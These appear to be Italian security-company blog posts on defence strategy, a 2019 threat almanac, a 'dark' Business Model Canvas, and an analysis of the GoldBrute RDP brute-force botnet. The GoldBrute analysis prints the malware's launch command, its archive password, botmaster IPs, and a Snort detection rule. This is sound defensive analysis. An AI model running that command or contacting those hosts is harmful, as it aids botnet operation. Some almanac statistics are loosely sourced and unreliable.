Essere sicuri non è possibile: prendiamone atto e lavoriamo invece sul rischio, cercando un buon compromesso tra quanto possiamo investire e i risultati che ci aspettiamo da questo investimento. Lavoriamo per prima cosa sui processi interni, ossia sul modo in cui i sistemi vengono utilizzati, prima ancora che sulla tecnologia stessa. Ci sono tante cose da fare che non hanno un costo eccessivo o proibitivo. Poniamoci come obiettivo il fatto che il successo di attacco sia antieconomico per chi lo lancia. In questo modo si presume che l’attaccante rivolga le sue attenzioni ad altri perché più facili da colpire. Un approccio pratico, consapevole, necessario. Per farlo lavoriamo sulla sua vista prospettica.

Cosa vede un attaccante di una organizzazione? Semplice: le vulnerabilità che espone. Se anche solo una di queste può essere sfruttata con un exploit già in suo possesso ecco che l’attacco avrà costi bassi e alte possibilità di successo. Il numero di vulnerabilità di un’organizzazione si riduce proporzionalmente con l’aumentare degli investimenti, senza però chiudersi mai. In sostanza ci saranno sempre delle vulnerabilità: ad esempio le “zero-day” o più semplicemente quelle relative a sistemi non aggiornabili per vincoli applicativi. È ipotizzabile, quindi, che lo schema sia ancora una volta regolato della Legge di Pareto, in particolare il corollario che enuncia l’impossibilità o l’anti-economicità di raggiungere il 100% di qualunque insieme, e pone il livello ottimale all’80%.


Legge di Pareto applicata alla difesa

Si ottiene l’accesso nell’area di attacco anti-economica con gli investimenti giusti, siano essi processi, best practice, cultura o tecnologia, traducibili in un constante monitoraggio dei sistemi e in un processo di incident management. La componente tecnologica, complementare a quella culturale e che deve sempre essere proporzionale alle capacità dell’organizzazione, l’abbiamo schematizzata sulla base di una crescente adozione di funzionalità atte ad aumentare la capacità di difesa.

La mappa delle difese


Mappa delle difese

Il grafico che abbiamo prodotto rappresenta gran parte delle funzionalità che compongono un’efficace strategia di difesa, tali funzionalità sono state pensate e proposte in ottica di complessità crescente, partendo da destra e propagandosi verso sinistra. La linea rossa demarca le componenti che fino a qualche anno fa erano sufficienti. Purtroppo la crescente complessità degli attacchi di oggi li ha resi necessari ma non più sufficienti.

Man mano che si va verso l’esterno del grafico la specializzazione in Cybersecurity aumenta. Partendo infatti dal classico antivirus, si passa attraverso i cosiddetti “next-generation” firewall e si arriva alle attività ben più complesse di Cybersecurity e Cyber Intelligence: ne è un esempio il SIEM (Security Information and Event Management), la combinazione di servizi e tecnologie utili alla raccolta di dati e alla normalizzazione degli stessi per fare analisi e correlazione di eventi.

Il governo di tutte le difese passa attraverso un Security Operation Center, la cui efficacia poggia su quattro pilastri:

La Cyber Intelligence per comprendere e ove possibile prevenire le minacce;
Il costante monitoraggio delle vulnerabilità;
La raccolta e la correlazione di tutte le informazioni sensibili per la sicurezza e la loro analisi al fine di identificare anomalie e incidenti;
La gestione dell’incidente e i piani di emergenza in caso di attacchi gravi;

Il tutto inserito in un contesto dove i Remediation Plan e i Mitigation Plan si susseguano incessantemente. I primi risolvono un rischio concreto e imminente, i secondi elevano costantemente il livello di sicurezza dell’infrastruttura. Ecco che, come abbiamo detto all’inizio, la difesa deve essere un processo continuo e deve adattarsi ai cambiamenti di scenario, interni o esterni.

Almanacco 2019

Marco Lucchina — Mon, 30 Dec 2019 14:46:01 +0000

La Cybersecurity è, di fatto, il principale “effetto collaterale” dell’avvento dell’industria 4.0. Cresce il digitale, cresce il Cybercrime, con un effetto che potremmo definire esponenziale. Lo scenario della Cybersecurity è cambiato in modo spaventoso dal 2015 ad oggi - con un nesso di causa effetto di cui racconteremo in un articolo dedicato - e la traiettoria lo pone sempre più in rotta di collisione con la vita reale e soprattutto il portafoglio delle aziende.

Il 2019 è stato ricco di avvenimenti e con l’avvicinarsi dell’anno nuovo abbiamo deciso di selezionare quelli più rilevanti e identificare alcuni possibili trend significativi per il 2020.

Cybersecurity nel 2019

Prima di conoscere i fatti più importanti e interessanti, vediamo tre curiosità che forse non conoscevi:

Anche i ricchi piangono - i dieci più importanti data breach conosciuti fino ad oggi sono: Yahoo (2013); Marriott, (2014-2018); Adult FriendFinder, (2016); MySpace, (2016); Under Armour, (2018); Equifax, (2017); eBay, (2014); Target, (2013); Heartland Payment Systems, (2018); LinkedIn, (2012).

Una nuova Las Vegas - il jackpotting è un attacco contro gli ATM, tipicamente quelli americani che vengono posizionati negli esercizi privati, che consiste nel prendere il controllo del dispositivo e fargli svuotare la riserva di contanti. Non si sa quanto sia stato sottratto perché l’informazione non viene volontariamente diffusa. Sappiamo però che nel 2019 sono state sostituite, solo negli Stati Uniti, 400.000 unità.

Altro che vecchie reti GSM - SIM swapping attack permette di reindirizzare tutti i messaggi verso una terza SIM, intercettando chiavi di doppia autenticazione e tanto altro.

Cos’è successo in questi mesi?

Ecco alcuni eventi e dati degni di nota:

Il World Wide Web compie 30 anni. E’ stato inventato nel 1989, oggi ci sono circa 2 miliardi di siti;
I contenuti digitali occupano quasi 100 zettabytes;
Più di metà della popolazione mondiale ha accesso ad internet (4 miliardi di persone su 7,7);
Facebook è la più grande nazione della terra (…e questo si sapeva), ma Fortnite è la settima;
Sono state rubati i documenti (ID) di 60 milioni di americani;
Le persone sopra i 60 anni sono tra le più colpite;
Il 90% delle frodi avviene via mail o social network;
Viene pagato un riscatto da ransomware ogni 14 secondi;
Esiste una lista di Cyber-ricercati dall’FBI;
Si stima che il 70% delle cripto-valute venga utilizzato per attività illecite;
Il market cap delle principali è: Bitcoin €116.475.613.895; Ethereum €12.523.597.149;
Al mondo esistono più di cento cripto-valute;
Il market cap delle prime 100 è: € 167.324.922.214;
Il Deep web (quello non indicizzato dai motori di ricerca) è 7000 volte più esteso di quello che conosciamo e utilizziamo ogni giorno;
Il valore dei dati sanitari, sul mercato nero, ha superato quello delle credenziali di una carta di credito o di conto bancario;
I malware hanno iniziato a colpire apparati medicali quali defibrillatori, pace makers e neuro stimolatori;
Comprare un “hacking kit” parte dalla stratosferica cifra di… 1€;
Esiste una blacklist di 2 miliardi di password da non usare. Purtroppo, rappresentano ancora una percentuale importante delle password utilizzate;
Michael Page stima che siano stati richiesti 1 milione di specialisti di Cybersecurity e che ci sia lo 0% di non impiegati tra le persone che hanno questa specializzazione. Le donne rappresentano il 20% di questa forza lavoro;
In Italia è stato attivato il primo corso di laurea magistrale in Cybersecurity;

Questi eventi ci spingono a chiederci: cosa aspettarsi dal futuro?

Alcune previsioni per il 2020:

La superficie di attacco aumenterà di 100 volte nei prossimi due anni in virtù dell’aumentare degli oggetti connessi e dei dati disponibili;
Assisteremo ad un aumento esponenziale dei data breach nelle strutture sanitarie;
Gli attacchi di ransomware verso strutture sanitarie quadruplicheranno;
Il valore dei dati sanitari aumenterà di 50 volte nel corso del biennio, si stima che una cartella clinica verrà venduta a 60€;
Il 95% del traffico internet è indirizzato verso i grandi Cloud Service Providers (Hyperscalers) e l’esfiltrazione di dati da queste piattaforme crescerà di 100 volte in 2 anni;
Si raggiungeranno i 6 miliardi di smartphone connessi alla rete che, in due anni, diventeranno il maggior veicolo di infezione;
Vedremo il primo incidente d’auto mortale dovuto ad un malware che ha infettato un sistema di guida autonomo;
I quattro paesi che investiranno di più in Cybersecurity saranno Stati Uniti, Israele, Regno Unito e Canada. Unione Europea, purtroppo, non pervenuta;
Gli Stati Uniti approveranno una legge sulla Data Protection (progetto California);

Non è finita qui: entro il 2021 i danni del Cybercrime supereranno quelli di tutti i disastri naturali combinati insieme e i profitti supereranno niente meno che quelli del traffico di droga.

E tu, come puoi prepararti? Il primo “buon proposito” per l’anno nuovo può essere questo: comportati bene, internet non dimentica.

Crediti: le fonti sono i report di University of Surrey, University of Sidney, Cisco Systems, Checkpoint Software ltd, Fortinet, FireEye (Madiant) e Cybersecurity Ventures.

GoldBrute: analisi dell'aggiornamento del malware rilasciato a Giugno

Marco Nilo — Fri, 13 Dec 2019 09:46:01 +0000

In questo articolo analizziamo una nuova versione del malware “GoldBrute”, apparso in rete per la prima volta a Giugno 2019.

Come funziona:

Il malware scansiona e sfrutta server che espongono il servizio RDP (Remote Desktop Protocol) e che utilizzano credenziali deboli o rubate. La lista di macchine censite e potenzialmente controllate dalla botnet era di circa 1.5 milioni a Giugno 2019 (Fonte) ma, pensate, in questo momento, il numero delle “vittime” ha superato i 4 milioni.

GoldBrute sfrutta la vulnerabilità BlueKeep (CVE-2019-0708) che può affliggere un sistema operativo Windows con l’RDP abilitato e non aggiornato.

GoldBrute si nasconde dietro un processo apparentemente lecito - javaw.exe - che viene scaricato sulla macchina compromessa insieme al Java Runtime, varie dll e anche un archivio zip che risulta essere protetto da password (XHr4jBYf5BV2Cd7zpzR9pEGn).

L’archivio – hash.zip - contiene due file di testo: 1. Il primo file contiene circa 4 milioni di coppie <indirizzo IP>:<porta>; 2. Il secondo contiene circa 14 mila coppie <username>:<password> che vengono utilizzate per l’attività di brute force.

A questo punto, viene lanciato il comando per l’esecuzione del malware:

C:\Users\\\<username>\AppData\Local\bitcoins\bin\javaw.exe -server -d64 -Xms64m -jar C:\Users\\\<username>\AppData\Local\bitcoins\bin\btclibrary.dll

Il file btclibrary.dll è, in realtà, un file Java Archive Data (JAR) che abbiamo decompilato e analizzato. Il JAR si presenta con circa 12000 classi: solo 84 sono quelle create ex novo e appartenenti al malware, le restanti sono classi di libreria.
L’entry point principale è situato all’interno della classe SocketMain. Dal codice si nota come all’interno della classe venga istanziato un oggetto di tipo Console su cui viene inizializzato l’intero flusso tramite il metodo run.

All’interno del metodo run vengono assegnati alcuni parametri iniziali di configurazione (definiti all’interno della classe Config) e, nella parte finale, viene istanziato un oggetto di tipo GoldBrute, che fa partire l’esecuzione malevola. Le configurazioni standard inizializzate dal malware definiscono l’indirizzo IP e la porta del botmaster - 172.94.15.22:8333 - con sede in Germania.

La classe GoldBrute può essere definita come la classe core in cui vengono effettuate e controllate, nell’ordine: - le attività di scansione tramite l’utilizzo della classe ScanThread - le attività di brute force servendosi della classe BruteThread.

Per gestire queste due attività vengono creati ed eseguiti due tipologie di Thread:

ScanThread

Il Thread avvia una scansione di indirizzi IP per cercare eventuali host con RDP esposto e vulnerabile. Solo quando il numero di risultati prodotti supera la soglia definita nella variabile CHECKER_EXPECT_IP_FOR_ENABLE_BRUTE (di default impostata a 80) viene eseguita l’attività di brute force.

Questa scansione viene delegata alla classe ScanThread che, a differenza della versione distribuita a giugno, è stata aggiornata con la possibilità di supportare altri due protocolli SSH e Telnet.

A questo punto, ogni volta che viene trovato un nuovo host vulnerabile, questo viene aggiunto ad una coda di tipo ConcurrenteLinkedQueue che, successivamente, viene restituita al botmaster.
Per effettuare le scansioni e per individuare host con RDP esposto e vulnerabile viene generato un pacchetto ad hoc il cui formato è descritto all’interno del metodo processPacket.

La conversione dal formato byte a UTF-8 è la seguente:

BruteThread

BruteThread è la classe designata all’attività di brute force che sfrutta le credenziali statiche caricate precedentemente.
In particolare, la classe BruteThread riutilizza per i propri pacchetti un formato simile a quello utilizzato per la fase di scansione. Tutta la comunicazione tra i bot e il botmaster avviene attraverso connessioni di tipo WebSocket e utilizza una cifratura AES/CBC/PKCS5Padding.

La cifratura/decifratura viene effettuata sfruttando chiavi inserite staticamente all’interno del file di configurazione (classe Config).

I pacchetti di comunicazione tra i bot e il botmaster sono definiti come classi: BruteProjectPacket, BruteInfoPackage e BruteResultsPackage; vengono utilizzati per ottenere statistiche sulle scansioni, per ricevere aggiornamenti circa lo stato della scansione e per ottenere i risultati finali.

Risulta interessante notare come, nella nuova versione del malware, siano presenti alcune parti di codice non ancora completamente operative: - il supporto a protocolli differenti dall’RDP per quanto riguarda il brute force (SSH e Telnet) - l’utilizzo di un database SQL persistente in sostituzione delle liste volatili utilizzate per tenere memoria dello stato dell’esecuzione - diversi entry point per permettere l’esecuzione di differenti parti del codice, indipendentemente dall’esecuzione del malware stesso

Per individuare le comunicazioni tra i bot e il botmaster, abbiamo creato una nuova regola Suricata/SNORT:

alert tcp any any -> [104.156.249.231,172.94.15.22] 8333 (msg:"CYBERGON CNC GoldBrute Reported CnC connection"; classtype:trojan-activity; sid:8000001; rev:1; metadata: affected_product Windows, attack_target Any, tag GoldBrute, tag RDP Bruteforce, signature_severity Critical, created_at 2019_12_11, updated_at 2019_12_11;)

Il nostro obiettivo è di approfondire il comportamento conseguente all’attività preliminare del malware, per individuare eventuali attività post-infezione.

Potete consultare la collection delle nostre rules qui

Business Model Canvas: dark edition

Marco Lucchina — Mon, 02 Dec 2019 14:46:01 +0000

Business Model Canvas: cos’è e perchè è uno strumento chiave per la security?

Intanto andiamo con ordine e partiamo dal vocabolario e, ovviamente, dalla storia. Il Business Model Canvas, inventato da A. Osterwalder e diffuso agli appassionati di tutto il mondo con il libro Business Model Generations (Osterwalder, Alexander; Pigneur, Yves; Clark, Tim (2010) Business Model Generation: A Handbook For Visionaries, Game Changers, and Challengers) ha il grande pregio di riuscire a creare un’immagine della strategia - del modo in cui si conducono gli affari - di una azienda. Vi riesce in quanto strumento eccezionale per creare legami, connessioni, tra gli asset principali dell’azienda e i bisogni dei propri clienti. È però anche uno strumento estremamente flessibile, tanto che lo abbiamo velocemente adattato alle strategie di Cyber Security.

Nel modello originale si mettono i costi nella parte di sinistra e i ricavi in quella di destra con l’unico punto di contatto che è il “valore” generato dai costi e per il quale i clienti sono disposti a spendere generando i ricavi.

Business Model Canvas: la versione dark

La versione “dark”, invece, pone nella parte di destra i motivi per un attacco e in quella sinistra, quelli per una difesa. Al centro rimane il valore, quello generato dall’azienda ed interessante per “gli operatori del mercato oscuro della Cyber Security”. I ricavi diventano perdite, ossia guadagni per il mondo oscuro. Gartner stima che l’ammontare teorico di queste perdite, per il mercato globale, arrivino alla stratosferica cifra di millecinquecento miliardi di euro. Suddivisi in:

Lo spaccato degli introiti per tipologia è stato calcolato in uno dei più dettagliati studi mai fatti sul tema, quello di Mike McGuire (“Into the Web of Profit” Report):

Il valore del mercato del Cyber-Crime diventa per ovvie ragioni il fulcro del nostro ragionamento.

La crescita vertiginosa dei ricavi e del numero di persone occupate deve far riflettere chiunque sia connesso e sfrutti servizi della rete. Diverse agenzie di intelligence stanno diffondendo analisi e dati sul tema. Basti pensare che si stima ci siano circa 3,5 milioni di programmatori che lavorano per queste organizzazioni. Ma non solo vi lavorano, sembra anche che lo facciano in cambio di compensi molto interessanti, soprattutto se parametrizzati all’area geografica di provenienza.

Ad esempio, ci permette di capire come mai Apple abbia messo una taglia da un milione di dollari per chiunque segnali una zero-day-vulnarability relativa ai suoi sistemi. La cifra non è simbolica, bensì pesata: una vulnerabilità di quel tipo per iOS o MacOS è acquistabile sul dark-web per una cifra che va dai 400 mila ai 700 mila dollari. Secondo una legge economica non scritta, è presumibile che si debba pagare un premio del 30% sul prezzo visto il rischio che queste persone avrebbero uscendo allo scoperto.

Business Model Canvas come strumento per capire quanto ci costa una breccia

Quindi, stabilito che il principale motivo per cui veniamo attaccati è per avere un vantaggio economico, cosa potrebbe esserci di meglio del Business Model Canvas per individuare il rapporto tra costi e ricavi con i secondi in accezione di mancate uscite/perdite. Per farlo abbiamo rivisto i blocchi su un piano strategico differente ma mantenendo la logica iniziale. Come detto, la vera differenza sta nei ricavi, in quanto l’obiettivo di questa versione è limitare le perdite.

Segmenti di clientela diventa Opponents: i soggetti interessati ai «Critical Assets». Come nella versione tradizionale il collegamento con il valore è fondamentale: bisogna sapere chi potrebbe essere interessato ad ottenerlo. Si tratta di profili potenziali, dalla fantapolitica del Cyberterrorista in caso di utility energetiche o industrie chimiche al più probabile ex-collaboratore scontento ed intenzionato a vendere qualche informazione riservata. Nel mare delle ipotesi solo chi conosce i propri asset è in grado di fare simulazioni realistiche.

Proposte di valore diventa Value for the opponent: il centro di tutto, il valore. Cambia l’azione: dal doverlo proporre al doverlo difendere, ma non cambia la centralità del blocco per il modello. Gli investimenti generano competitività quindi valore, tutto quello che un’azienda fa è per accrescerlo, che sia la capitalizzazione o il prezzo di vendita, tutto si consolida in questo blocco. Nel modello «dark» la questione un po’ si complica. Il valore per l’opponente può essere qualcosa di specifico da proteggere oppure una serie di cose generiche che comunque attraggono, come il semplice fatto di essere sul mercato o connesso alla rete. In ogni modo il valore da difendere (es: i dati sanitari dei pazienti) è spesso e volentieri ciò che si è creato con gli investimenti (costi).

Canali diventa Vulnerabilities: i sistemi sono vulnerabili, il codice è sempre imperfetto, attraverso queste imperfezioni sulle macchine possono eseguire comandi non previsti dalla nostra organizzazione. Le vulnerabilità sono uno dei due canali tramiti i quali gli opponenti accedono al valore. Le vulnerabilità sono di per sé valore, vedremo poi il perché.

Relazione con i clienti diventa People Vulnerabilities: eccoci al fattore umano, sempre presente e imperfetto nella sua complessità. Sulle usanze, l’educazione tra le persone e la diseducazione verso gli strumenti digitali gli opponenti riescono ad avere accesso ad informazioni sensibili, superandolo molti se non tutti i sistemi di difesa.

Flussi di ricavi diventa Losses: equivalgono ai guadagni dato che quello che spendo per la difesa è un investimento per evitare perdite successive, esattamente come quando si investe per creare valore che diventerà un’entrata.

Risorse Chiave diventa Critical Assets: possono essere segreti industriali, informazioni riservate o qualunque dato oggetto di “compliance” verso leggi, regolamenti e contratti. Non vanno interpretati solo come informazioni da proteggere ma anche come la disponibilità dei sistemi che ne permettono lo sfruttamento legale. Dal punto di vista della strategia di difesa nulla cambia: l’informazione deve essere difesa sia contro il furto sia contro l’indisponibilità.

Attività Chiave diventa Security Operations: l’unico modo per «gestire» le vulnerabilità sono delle procedure che le tracciano, le identificano e ove non sia possibile risolverle, le isolano. Parliamo di un lavoro molto vasto, che non è fattibile da persone di buona volontà, servono processi automatizzati, procedure e piani di contingenza.

Partner Chiave diventa Training and Culture: le persone sono il vero “tallone di Achille” di una strategia di difesa, non importa il livello di sofisticazione, loro rimangono vulnerabili. Nonostante questo, non bisogna arrendersi. Investire in formazione e informazione continua, per creare cultura, è l’unica via. Andrebbe inquadrato come un percorso di studi per una corretta vita digitale. Porsi le domande giuste, applicare prudenza e buon senso, esattamente come si fa quando siamo turisti in una città sconosciuta.

Struttura dei corsi diventa Defence Costs: tutto quello che riguarda l’acquisizione di tecnologie, competenze e approntamento. Siano essi costi interni o esterni.

Business Model Canvas: qualche considerazione fondamentale

Prima considerazione importante: se vedete un’autostrada di connessioni logiche che attraversa tutto il Canvas allora potete considerarvi un target specifico. In questo caso è opportuno fare delle analisi che esulano lo spazio della Cyber Security e includono economia, politica, legislazione, ecc. In tutti gli altri casi, invece, potete comunque considerarvi un bersaglio generico; per la verità la differenza è minima: tutti sono target generici e solo alcuni lo sono specifici. Per questo consigliamo di adottare una strategia di Average Security (contattaci per sapere di cosa si tratta o attendi la prossima pubblicazione). Un piccolo spoiler: secondo questa teoria diventiamo interessanti per un opponente in funzione del numero di vulnerabilità che esponiamo!

Seconda considerazione importante: i canali. Lo abbiamo semplificato, ovviamente, ma i canali di attacco sono raggruppabili in due macro-aree: le vulnerabilità dei sistemi e quelle delle persone. Le prime possono essere tenute sotto controllo con procedure (Operations) che riguardano il monitoraggio, la correlazione, l’aggiornamento e il ripristino dei sistemi. Le seconde, invece, sono molto più complesse e sono inversamente proporzionali alla complessità applicata (“The real effect of security policies”). Solo con formazione e informazione continua, si può ambire a creare un livello culturale adeguato. Non è un caso se questi due blocchi “specchino” la loro controparte nella parte sinistra del Canvas. Investire su di loro crea valore, nell’accezione del modello in cui valore è impedire il drenaggio di risorse vitali: immateriali o finanziarie che siano.